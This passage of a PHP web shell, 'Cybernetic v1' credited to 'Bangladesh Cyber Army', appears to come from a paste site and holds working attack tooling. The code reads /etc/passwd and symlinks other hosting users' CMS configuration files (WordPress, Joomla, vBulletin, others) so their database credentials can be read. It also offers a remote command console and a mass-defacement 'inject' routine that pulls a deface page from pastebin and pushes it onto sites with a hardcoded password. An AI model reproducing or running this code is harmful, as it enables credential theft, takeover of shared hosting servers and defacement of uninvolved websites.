  821. symlink('/home/'.$etcc[0].'/public_html/includes/config.php',"pce/".$etcc[0].'-vBulletin.txt');
  822. }
  823. if($enable_joomla){
  824. symlink('/home/'.$etcc[0].'/public_html/configuration.php',"pce/".$etcc[0].'-Joomla.txt');
  825. symlink('/home/'.$etcc[0].'/public_html/web/configuration.php',"pce/".$etcc[0].'-Joomla.txt');
  826. symlink('/home/'.$etcc[0].'/public_html/site/configuration.php',"pce/".$etcc[0].'-Joomla.txt');
  827. }
  828. /**
  829. symlink('/home/'.$etcc[0].'/public_html/conf_global.php',"pce/".$etcc[0].'-IPB.txt');
  830. symlink('/home/'.$etcc[0].'/public_html/inc/config.php',"pce/".$etcc[0].'-MyBB.txt');
  831. symlink('/home/'.$etcc[0].'/public_html/Settings.php',"pce/".$etcc[0].'-SMF.txt');
  832. symlink('/home/'.$etcc[0].'/public_html/sites/default/settings.php',"pce/".$etcc[0].'-Drupal.txt');
  833. symlink('/home/'.$etcc[0].'/public_html/e107_config.php',"pce/".$etcc[0].'-e107.txt');
  834. symlink('/home/'.$etcc[0].'/public_html/datas/config.php',"pce/".$etcc[0].'-Seditio.txt');
  835. symlink('/home/'.$etcc[0].'/public_html/includes/configure.php',"pce/".$etcc[0].'-osCommerce.txt');
  836. **/
  837. }
  838.  
  839. $lol = explode("/",curPageURL());
  840. $link = str_replace(end($lol),"",curPageURL());
  841. $str = file_get_contents($link."/pce");
  842.  
  843. preg_match_all('%\w \w{4}=(\"|\')(.*)\.txt(\"|\')%',$str,$exp);
  844.  
  845. if(is_array($exp[2])){
  846. $q = 2;
  847. $dmn = getDnamed();
  848. foreach($exp[2] as $sitez){
  849. if($q == 2){$q = 1;}else{$q = 2;}
  850. $j += 1;
  851. $sn = explode("-",$sitez);
  852. $domain = $dmn[$sn[0]];
  853. if($domain){
  854. $domain = "<a id='inj_dom".$j."' href='http://".$domain."'>".$domain."</a>";
  855. }else{
  856. $domain = "<a id='inj_dom".$j."' href=''>...</a>";
  857. }
  858.  
  859. $nan .= '<div id="inj'.$j.'">
  860. <div class="tblbx'.$q.'" style="width:200px;cursor:pointer;background-color:#76BBEB;" id="injc'.$j.'"onClick="doToggle(\''.$j.'\');">'.$sn[0].'<input style="display:none;" type="checkbox" id="injchk'.$j.'" checked></div>
  861. <div class="tblbx'.$q.'" style="width:220px;" id="inj_domain'.$j.'">'.$domain.'</div>
  862. <div class="tblbx'.$q.'" style="width:160px;"><a id="injst'.$j.'" class="conf" href="'.$link.'pce/'.$sitez.'.txt" title="'.$j.'">'.ucfirst($sn[1]).'</a></div>
  863. <div class="tblbx'.$q.'" style="width:120px;" id="inj_status'.$j.'" title="On Idle...">Idle...</div>
  864. </div>';
  865. }
  866.  
  867. $cnt = '<input type="text" style="display:none" id="sitecount" value="'.$j.'">';
  868. echo $nan.$cnt;
  869. //echo "Total Sites Found: ".$j."<br /><br />".$nan;
  870.  
  871. }
  872. }
  873.  
  874. die();
  875. }
  876. elseif($_POST['ac'] == "chkph2"){
  877. if(is_readable("/etc/passwd")){
  878. if(!is_dir("pce")){
  879. @mkdir('pce',0777);
  880. }
  881. if(!is_link("pce/root")){
  882. $sym = symlink("/","pce/root");
  883. if(!$sym){
  884. die("Symlink method failed.");
  885. }
  886. }
  887.  
  888. $htaccss = "Options all
  889. DirectoryIndex Sux.html
  890. AddType text/plain .php
  891. AddHandler server-parsed .php
  892. AddType text/plain .html
  893. AddHandler txt .html
  894. Require None
  895. Satisfy Any";
  896. file_put_contents("pce/.htaccess",$htaccss);
  897. $etc = file_get_contents("/etc/passwd");
  898. $etcz = explode("\n",$etc);
  899.  
  900. $lol = explode("/",curPageURL());
  901. $link = str_replace(end($lol),"",curPageURL());
  902. @unlink("rootinject.tmp");
  903. $q = 2;
  904. $dmn = getDnamed();
  905. foreach($etcz as $etz){
  906.  
  907. $etcc = explode(":",$etz);
  908. $dr = "pce/root/home/".$etcc[0]."/public_html/";
  909. $dan = chkSys($link.$dr);
  910. if($dan){
  911. if($q == 2){$q = 1;}else{$q = 2;}
  912. $domain = $dmn[$etcc[0]];
  913. if($domain){
  914. $domain = "<a id='inj_dom".$k."' href='http://".$domain."'>".$domain."</a>";
  915. }else{
  916. $domain = "<a id='inj_dom".$k."' href=''>...</a>";
  917. }
  918. $k += 1;
  919. $nant = '<div id="inj'.$k.'">
  920. <div class="tblbx'.$q.'" style="width:200px;cursor:pointer;background-color:#76BBEB;" id="injc'.$k.'"onClick="doToggle(\''.$k.'\');">'.$etcc[0].'<input style="display:none;" type="checkbox" id="injchk'.$k.'" checked></div>
  921. <div class="tblbx'.$q.'" style="width:220px;" id="inj_domain'.$k.'">'.$domain.'</div>
  922. <div class="tblbx'.$q.'" style="width:160px;"><a class="conf" href="'.$dan['link'].'">'.$dan['cms'].'</a></div>
  923. <div class="tblbx'.$q.'" style="width:120px;" id="inj_status'.$k.'">Idle...</div>
  924. </div>';
  925. file_put_contents("rootinject.tmp",$nant,FILE_APPEND);
  926. $nan .= $nant;
  927. }
  928.  
  929. }
  930. $cnt = '<input type="text" style="display:none" id="sitecount" value="'.$k.'">';
  931. echo $nan.$cnt;
  932. //file_put_contents("tmpupdts.log","done");
  933. }
  934.  
  935. die();
  936. }
  937. elseif($_POST['ac'] == "inject"){
  938. error_reporting(0);
  939. $cms = strtolower($_POST['cms']);
  940. $cnf = $_POST['conf'];
  941. if(file_exists(md5($_POST['deface_page']))){
  942. $html = file_get_contents(md5($_POST['deface_page']));
  943. }else{
  944. $html = file_get_contents($_POST['deface_page']);
  945. file_put_contents(md5($_POST['deface_page']),$html);
  946. file_put_contents("pce.html",$html);
  947. }
  948.  
  949.  
  950. if(!is_dir("cookie")){
  951. @mkdir("cookie",0777);
  952. }
  953.  
  954. switch($cms){
  955.  
  956. case "wordpress":
  957. doXploitWP($cnf,$html,"uradhura123");
  958. break;
  959.  
  960. case "joomla":
  961. doXploitJM($cnf,$html,"uradhura123");
  962. break;
  963.  
  964. case "vbulletin":
  965. doXploitVB($cnf,$html);
  966. break;
  967.  
  968. case "phpbb":
  969.  
  970. break;
  971.  
  972. case "ipb":
  973.  
  974. break;
  975.  
  976. case "mybb":
  977.  
  978. break;
  979.  
  980. case "oscommerce":
  981.  
  982. break;
  983.  
  984. case "smf":
  985.  
  986. break;
  987.  
  988. case "drupal":
  989.  
  990. break;
  991.  
  992. case "seditio":
  993.  
  994. break;
  995.  
  996. case "e107":
  997.  
  998. break;
  999. }
  1000. throwErr("Not Added");
  1001. }
  1002. elseif($_POST['ac'] == "ssh"){
  1003. $ssh = exme($_POST['command']);
  1004. die(nl2br($ssh));
  1005. }
  1006. elseif($_POST['ac'] == "phpinfo"){
  1007. $php = phpinfo();
  1008. die($php);
  1009. }
  1010.  
  1011. ?>
  1012. <html>
  1013. <title>Cybernetic v1 By [Bangladesh Cyber Army]</title>
  1014. <head>
  1015. <script src="http://code.jquery.com/jquery-latest.min.js"></script>
  1016. </head>
  1017. <style>
  1018. body{
  1019. font-family: "courier new";
  1020. background-color: black;
  1021. font-size:80%;
  1022. color: #28FE14;
  1023. background-image: url("data:image/gif;base64,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");
  1024. }
  1025. #sysinfo{
  1026. border: 1px solid #28FE14;
  1027. position:fixed;
  1028. padding:2px;
  1029. top:1px;
  1030. left:1px;
  1031. background-color: black;
  1032. font-size:12px;
  1033. }
  1034. #phpinfo{
  1035. border: 1px solid #28FE14;
  1036. position:fixed;
  1037. padding:2px;
  1038. top:1px;
  1039. right:1px;
  1040. background-color: black;
  1041. font-size:12px;
  1042. }
  1043. #status{
  1044. border: 1px solid #28FE14;
  1045. position:fixed;
  1046. padding:2px;
  1047. bottom:1px;
  1048. right:1px;
  1049. background-color: black;
  1050. font-size:12px;
  1051. }
  1052. #infobox{
  1053. z-index:1;
  1054. border: 1px solid white;
  1055. margin-left:auto;
  1056. margin-right:auto;
  1057. margin-top:50px;
  1058. width:600px;
  1059. background-color: black;
  1060. font-size:12px;
  1061. }
  1062. .infotitle{
  1063. padding:4px;
  1064. background-color: white;
  1065. color: black;
  1066. font-family: Thaoma;
  1067. font-size:14px;
  1068. }
  1069. .infotxt{
  1070. padding:5px;
  1071. }
  1072.  
  1073. .sidebar{
  1074. position:fixed;
  1075. left:1px;
  1076. top:30%;
  1077. }
  1078. .stitle{
  1079. float:left;
  1080. cursor:pointer;
  1081. padding:7px;
  1082. color:black;
  1083. background-color: white;
  1084. }
  1085. .stitle:hover{
  1086. color:red;
  1087. }
  1088. .smnu{
  1089. display:none;
  1090. background-color: black;
  1091. padding:5px;
  1092. border: 1px solid white;
  1093. float:left;
  1094. }
  1095. a{
  1096. color: #df5;
  1097. text-decoration: none;
  1098. }
  1099. a:hover{
  1100. color:white;
  1101. }
  1102. .copyright{
  1103. position:fixed;
  1104. bottom:1px;
  1105. left:1px;
  1106. padding:2px;
  1107. }
  1108. .logo{
  1109. margin:auto;
  1110. width:600px;
  1111. height:600px;
  1112. background-image: url("http://i41.tinypic.com/jh3gj7.gif");
  1113. }
  1114. .filetable{
  1115. margin-top:2px;
  1116. width:740px;
  1117. }
  1118. .tblcnt{
  1119. text-align: center;
  1120. margin-left:2px;
  1121. color:black;
  1122. background-color: white;
  1123. padding:3px;
  1124. float:left;
  1125. border: 1px solid white;
  1126. }
  1127. .tblbx1{
  1128. height:12px;
  1129. text-align: center;
  1130. margin-left:2px;
  1131. color:white;
  1132. background-color: #333333;
  1133. padding:3px;
  1134. float:left;
  1135. border: 1px solid #333333;
  1136. }
  1137. .tblbx2{
  1138. height:12px;
  1139. text-align: center;
  1140. margin-left:2px;
  1141. color:white;
  1142. background-color: #444444;
  1143. padding:3px;
  1144. float:left;
  1145. border: 1px solid #444444;
  1146. }
  1147.  
  1148. .tbl{
  1149. margin-top:100px;
  1150. padding-top:2px;
  1151. padding-bottom: 2px;
  1152. margin:auto;
  1153. width:742px;
  1154. border: 1px solid white;
  1155. }
  1156. .rbox{
  1157. float:left;
  1158. border: 1px solid #28FE14;
  1159. padding:10px;
  1160. }
  1161. .smit{
  1162. background-color: black;
  1163. color: #28FE14;
  1164. }
  1165. .sshbox{
  1166. display:none;
  1167. padding-left:7px;
  1168. width:600px;
  1169. height:400px;
  1170. margin: auto;
  1171. margin-top:80px;
  1172. -webkit-border-radius: 10px;
  1173. -moz-border-radius: 10px;
  1174. border-radius: 10px;
  1175. border:3px solid #FFF5F5;
  1176. background-color:#080500;
  1177. overflow:auto;
  1178. }
  1179. #sshcmd{
  1180. width:450px;
  1181. background-color: #080500;
  1182. color:#28FE14;
  1183. border:none;
  1184. }
  1185.  
  1186. </style>
  1187. <body>
  1188. <div class="logo" id="logo"></div>
  1189. <div id="sysinfo"><strong>OS:</strong> <?php echo php_uname("s")." - ".php_uname("r")." / ".php_uname("m"); ?></div>
  1190.  
  1191. <div id="phpinfo"> <?php
  1192. $srvsoft = explode(" ",$_SERVER['SERVER_SOFTWARE']);
  1193. echo $srvsoft[0];
  1194. echo " PHP ".phpversion();
  1195. if( ini_get('safe_mode') ){
  1196. echo " <font color='red'>Safe Mode On</font>";
  1197. }else{
  1198. echo " <font color='blue'>Safe Mode Off</font>";
  1199. }
  1200. ?></div>
  1201.  
  1202. <div id="tbl" class="tbl" style="display:none;">
  1203. <div class="filetable">
  1204. <div class="tblcnt" style="width:220px;">Name</div>
  1205. <div class="tblcnt" style="width:80px;">Size</div>
  1206. <div class="tblcnt" style="width:100px;">Modify</div>
  1207. <div class="tblcnt" style="width:100px;">Owner</div>
  1208. <div class="tblcnt" style="width:100px;">Permission</div>
  1209. <div class="tblcnt" style="width:80px;">Action</div>
  1210. </div>
  1211. <div id="filest"></div>
  1212. <div style="clear:both;"></div>
  1213.  
  1214. </div>
  1215.  
  1216. <div id="inject" class="tbl" style="display:none;">
  1217. <div class="filetable">
  1218. <div class="tblcnt" style="width:200px; cursor:pointer;" onClick="doSlct();">User</div>
  1219. <div class="tblcnt" style="width:220px;">Sitename</div>
  1220. <div class="tblcnt" style="width:160px;">CMS</div>
  1221. <div class="tblcnt" style="width:120px;">Status</div>
  1222. </div>
  1223. <div id="injtbl"></div>
  1224. <div style="clear:both;"></div>
  1225.  
  1226. </div>
  1227.  
  1228. <div id="infobox" style="display:none;"><div class="infotitle"><a href="" onclick="$('#infobox').hide();return false;" style="color:black;">[-]</a> <span id="infotitle">Information</span></div><div class="infotxt" id="infotxt"></div></div>
  1229. <script>
  1230.  
  1231. var sidebar = false;
  1232. var sidebar2 = false;
  1233. function sidebarz(){
  1234. $('#logo').hide();
  1235. if(sidebar){
  1236. $('#smnu').hide();
  1237. sidebar = false;
  1238. }else{
  1239. $('#smnu').show();
  1240. sidebar = true;
  1241. }
  1242. }
  1243. function sidebarz2(){
  1244. if(sidebar2){
  1245. $('#smnu2').hide();
  1246. sidebar2 = false;
  1247. }else{
  1248. $('#smnu2').show();
  1249. sidebar2 = true;
  1250. }
  1251. }
  1252.  
  1253. function filebrs(val){
  1254. hideAll();
  1255. $('#status').html('Status: Requesting...');
  1256. $.post("", { ac: "browse", path: val},
  1257. function(data) {
  1258. $('#tbl').show();
  1259. $('#status').html('Status: Completed (:');
  1260. $('#filest').html(data);
  1261. });
  1262. }
  1263. function doUpdt(val){
  1264. var refreshId = setInterval(function() {
  1265. $("#injtbl").load('rootinject.tmp');
  1266. }, 5000);
  1267. $.ajaxSetup({ cache: false });
  1268.  
  1269. hideAll();
  1270. $('#inject').show();
  1271. $('#status').html('Status: Requesting...');
  1272. $.post("", { ac: val},
  1273. function(data) {
  1274. refreshId = "";
  1275. $('#sidebar2').show();
  1276. $('#status').html('Status: Completed (:');
  1277. $('#injtbl').html(data);
  1278. });
  1279.  
  1280. }
  1281.  
  1282. function hideAll(){
  1283. k1 = 0;
  1284. k2 = 0;
  1285. $('#sidebar2').hide();
  1286. $('#tbl').hide();
  1287. $('#inject').hide();
  1288. $('#infobox').hide();
  1289. $('#sshbox').hide();
  1290. }
  1291.  
  1292. function doReq(val){
  1293. hideAll();
  1294. $('#inject').show();
  1295. $('#status').html('Status: Requesting...');
  1296. $.post("", { ac: val},
  1297. function(data) {
  1298. $('#sidebar2').show();
  1299. $('#status').html('Status: Completed (:');
  1300. $('#injtbl').html(data);
  1301. });
  1302. }
  1303.  
  1304. function doReq2(val){
  1305. hideAll();
  1306. $('#status').html('Status: Requesting...');
  1307. $.post("", { ac: val},
  1308. function(data) {
  1309. $('#infobox').show();
  1310. $('#status').html('Status: Completed (:');
  1311. $('#infotxt').html(data);
  1312. });
  1313. }
  1314.  
  1315. //Js Multi thread post request by Elo (:
  1316. var k1 = 1; var k2 = 0; var req_limit = 9;
  1317. function doInject(){
  1318. var i = 0; var j = 0;
  1319. $('.conf').each(function(){
  1320. i += 1;
  1321. var id = $(this).attr('title');
  1322.  
  1323. if(id > k1){
  1324. j += 1; k1 += 1;
  1325. var link = $(this).attr('href');
  1326.  
  1327. var domain = $('#inj_dom' + id).html();
  1328. var cms = $(this).html();
  1329. doPost2(link,cms,id,domain);
  1330. }
  1331. if(j > req_limit){return false;}
  1332.  
  1333.  
  1334. });
  1335. }
  1336.  
  1337.  
  1338.  
  1339. function doPost2(link,cmz,id,dmn){
  1340. if($('#injchk'+id).is(':checked')){
  1341. $('#inj_status' + id).html('Injecting...');
  1342. $.ajax({
  1343. url: "",
  1344. type: "POST",
  1345. timeout: 60000,
  1346. data: {ac: "inject", conf: link, domain: dmn, cms: cmz, ignore_def: $('#ignore_def:checked').val(), n404_php: $('#404_php:checked').val(), nindex_php: $('#index_php:checked').val(), nhome_php: $('#home_php:checked').val(), narchive_php: $('#archive_php:checked').val(), ncomment_php: $('#comment_php:checked').val(), com_install: $('#use_com:checked').val(), deface_page: $('#deface_page').val()},
  1347. dataType: "text"
  1348. }).done(function(msg) {
  1349.  
  1350. k2 += 1;
  1351.  
  1352. $('#inj_status' + id).html('Parse Error');
  1353. $('#inj_status' + id).css({"background-color" : "red", "color" : "white"});
  1354. var res_data = JSON.parse(msg);
  1355.  
  1356. if(res_data.status == "success"){
  1357. $('#inj_domain' + id).html('<a class="injwork" href="' + res_data.site + '">' + res_data.site + '</a>');
  1358. $('#inj_status' + id).css({"background-color" : "green", "color" : "white"});
  1359. $('#inj_status' + id).html('Success');
  1360. $('#injst' + id).removeClass("conf");
  1361.  
  1362. }
  1363. else{
  1364. if(res_data.status == "error"){
  1365. $('#inj_status' + id).css({"background-color" : "red", "color" : "white"});
  1366. $('#inj_status' + id).html(res_data.msg);
  1367. $('#inj_status' + id).addClass("injerror");
  1368. $('#injst' + id).removeClass("conf");
  1369. }else{
  1370. $('#inj_status' + id).addClass("injerror");
  1371. $('#inj_status' + id).html('Unknown');
  1372. $('#injst' + id).removeClass("conf");
  1373. }
  1374. }
  1375. updateInjSts(k2);
  1376. if(k1 == k2){doInject();}
  1377. }).fail(function(jqXHR, textStatus) {
  1378. k2 += 1;
  1379. $('#inj_status' + id).css({"background-color" : "black", "color" : "white"});
  1380. $('#inj_status' + id).html('Timeout');
  1381. updateInjSts(k2);
  1382. if(k1 == k2){doInject();}
  1383. });
  1384.  
  1385. }else{
  1386. k2 += 1;
  1387. updateInjSts(k2);
  1388. if(k1 == k2){doInject();}
  1389. }
  1390. }
  1391. //Js Multi thread post request by Elo (:
  1392. function updateInjSts(k){
  1393. var tc = $('#sitecount').val();
  1394. if(tc > k){
  1395. $('#status').html("Status: " + k + "/" + tc + " Injected");
  1396. }else{
  1397. $('#status').html("Status: Injection Complete (:");
  1398. }
  1399. }
  1400.  
  1401. function rmvErr(){
  1402. $('.injerror').each(function(){
  1403. var nano = $(this).parent();
  1404. $(nano).remove();
  1405. });
  1406. }
  1407.  
  1408. function rmvSlct(){
  1409. $('.conf').each(function(){
  1410. var id = $(this).attr('title');
  1411. if($('#injchk'+id).is(':checked')){
  1412. $('#inj' + id).remove();
  1413. }
  1414. });
  1415. }
  1416.  
  1417. function retryTimeout(){
  1418. k1 = 1; k2 = 0;
  1419. doInject();
  1420. }
  1421.  
  1422. function doSlct(){
  1423. $('.conf').each(function(){
  1424. var id = $(this).attr('title');
  1425. doToggle(id);
  1426. });
  1427. }
  1428.  
  1429. function doToggle(dd){
  1430. if($('#injchk'+dd).is(':checked')){
  1431. $('#injc'+dd).css('background-color','red');
  1432. $('#injchk'+dd).attr('checked',false);
  1433. }else{
  1434. $('#injc'+dd).css('background-color','#76BBEB');
  1435. $('#injchk'+dd).attr('checked',true);
  1436. }
  1437. }
  1438.  
  1439. function doSSH(){
  1440. $('#status').html("Status: Requesting...");
  1441. var cmd = $('#sshcmd').val();
  1442. $('#sshcmd').val("");
  1443. $.post("", { ac: "ssh",command: cmd},
  1444. function(data) {
  1445. $('#sshoutput').append("[root@pce~]# <br />"+data+"<br />");
  1446. $('#status').html("Status: Done.");
  1447. });
  1448. }
  1449. </script>
  1450.  
  1451. <div class="sshbox" id="sshbox">
  1452. <br />
  1453. <div id="sshoutput"></div>
  1454. [root@pce~]# <input onkeydown="if (event.keyCode == 13) doSSH();" type="text" id="sshcmd">
  1455. </div>
  1456.  
  1457. <div id="sidebar" class="sidebar">
  1458.  
  1459. <div class="smnu" id="smnu" class="smnu">
  1460. &raquo; <a href="" onClick="$('#infobox').show();$('#infotitle').html('Security Information');doReq2('secinfo');return false;">Security Vulnerability</a></br>
  1461. &raquo; <a href="" onClick="$('#infobox').show();$('#infotitle').html('System Information');doReq2('sysinfo');return false;">System Information</a></br>
  1462. &raquo; <a href="" onClick="$('#infotitle').html('PHP Info');doReq2('phpinfo');return false;">PHP Info</a></br>
  1463. &raquo; <a href="" onClick="filebrs(''); return false;">File Browser</a></br>
  1464. &raquo; <a href="" onClick="$('#infotitle').html('Scanned Domains');doReq2('chknamed');return false;">Scan Domains</a></br>
  1465. &raquo; <a href="" onClick="doReq('chkph');return false;">CMS Detector [Simple]</a></br>
  1466. &raquo; <a href="" onClick="$('#inject').show();doUpdt('chkph2');return false;">CMS Detector [root]</a></br>
  1467. &raquo; <a href="" onClick="doReq2('safebypass');return false;">Bypass PHP Safe_Mode</a></br>
  1468. &raquo; <a href="">Network Tools</a></br>
  1469. &raquo; <a href="">SQL Manager</a></br>
  1470. &raquo; <a href="" onClick="hideAll(); $('#sshbox').show(); return false;">Command Console</a></br>
  1471. &raquo; <a href="?ac=killme">Kill Me</a></br>
  1472.  
  1473. </div>
  1474. <div class="stitle" onClick="sidebarz();">E</br>X</br>P</br>L</br>O</br>I</br>T</div>
  1475. </div>
  1476.  
  1477. <div id="sidebar2" class="sidebar" style="display:none;right:1px;left:auto;">
  1478. <div class="smnu" style="float:right;" id="smnu2" class="smnu">
  1479. <div id="injmain">
  1480. &raquo; <a href="" onClick="doInject(); return false;">Start Injecting</a></br>
  1481. &raquo; <a href="" onClick="">Export</a></br>
  1482. &raquo; <a href="" onClick="rmvErr(); return false;">Rmv Error</a></br>
  1483. &raquo; <a href="" onClick="rmvSlct(); return false;">Rmv Selected</a></br>
  1484. &raquo; <a href="" onClick="retryTimeout(); return false;">Retry timeout</a></br>
  1485. &raquo; <a href="" onClick="alert('UC'); return false;">Submit to zone-H</a></br>
  1486. &raquo; <a href="" onClick="$('#injmain').hide(); $('#inj2nd').show(); return false;">Settings</a></br>
  1487. </div>
  1488. <div id="inj2nd" style="display:none;">
  1489. <div class="rbox">
  1490.  
  1491. <div style="clear:both;"></div>
  1492. <center><u>WordPress</u></center><br>
  1493. <input type="checkbox" name="404_php" id="404_php" checked>404.php<br />
  1494. <input type="checkbox" name="archive_php" id="archive_php" checked>archive.php<br />
  1495. <input type="checkbox" name="index_php" id="index_php" checked>index.php<br />
  1496. <input type="checkbox" name="home_php" id="home_php" checked>home.php<br />
  1497. <input type="checkbox" name="comment_php" id="comment_php" checked>comment.php<br /><br /><br />
  1498. </div>
  1499.  
  1500. <div class="rbox">
  1501. <center><u>Joomla</u></center><br>
  1502. <input type="checkbox" name="use_com" id="use_com" checked>Use Com Installer<br />
  1503. <input type="checkbox" id="ignore_def">Ignore Default Templete<br />
  1504. </div>
  1505.  
  1506. <div class="rbox">
  1507. <center><u>Default</u></center><br>
  1508. Req/s: <input type="text" class="smit" value="10" onChange="req_limit = $(this).val();"><br />
  1509. Deface Page Link: <input type="text" class="smit" id="deface_page" value="http://pastebin.com/download.php?i=PAw1ga5k"><br /><br />
  1510. </div>
  1511.  
  1512. <div style="clear:both;"></div><br />
  1513. <a href="" onClick="$('#injmain').show(); $('#inj2nd').hide(); return false;">Go Back</a>
  1514. </div>
  1515.  
  1516.  
  1517. </div>
  1518. <div class="stitle" style="float:right;" onClick="sidebarz2();">C</br>O</br>N</br>T</br>R</br>O</br>L</div>
  1519. </div>
  1520.  
  1521. <div style="clear:both;"></div>
  1522.  
  1523. <div id="status">Status: Idle...</div>
  1524. <div class="copyright">Copyright &copy; <a href=""><font color="red">Bangladesh Cyber Army</font></a></div>
  1525. </body>
  1526. </html>
Add Comment
Please, Sign In to add comment